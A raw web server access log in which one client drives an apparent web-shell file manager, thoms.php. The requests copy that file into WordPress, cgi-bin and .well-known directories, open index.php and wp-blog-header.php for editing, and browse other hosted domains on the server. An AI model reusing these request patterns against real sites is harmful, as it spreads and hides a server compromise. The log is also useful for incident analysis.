45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19155 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?edit=index.php&p=bestjudy.com.tw HTTP/1.1" 200 11816 "http://163.245.207.76:443/thoms.php?edit=index.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19465 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?edit=index.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 15430 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?edit=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 56168 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 59742 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 12370 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19561 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19560 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 28083 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?edit=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 24348 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22659 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p= HTTP/1.1" 200 12398 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19692 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22664 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19690 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 12404 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19863 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19865 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22668 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 200 11916 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin&upload= HTTP/1.1" 200 12178 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /bestjudy.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /bestjudy.com.tw/cgi-bin/ HTTP/1.1" 200 692 "https://163.245.207.76:443/bestjudy.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
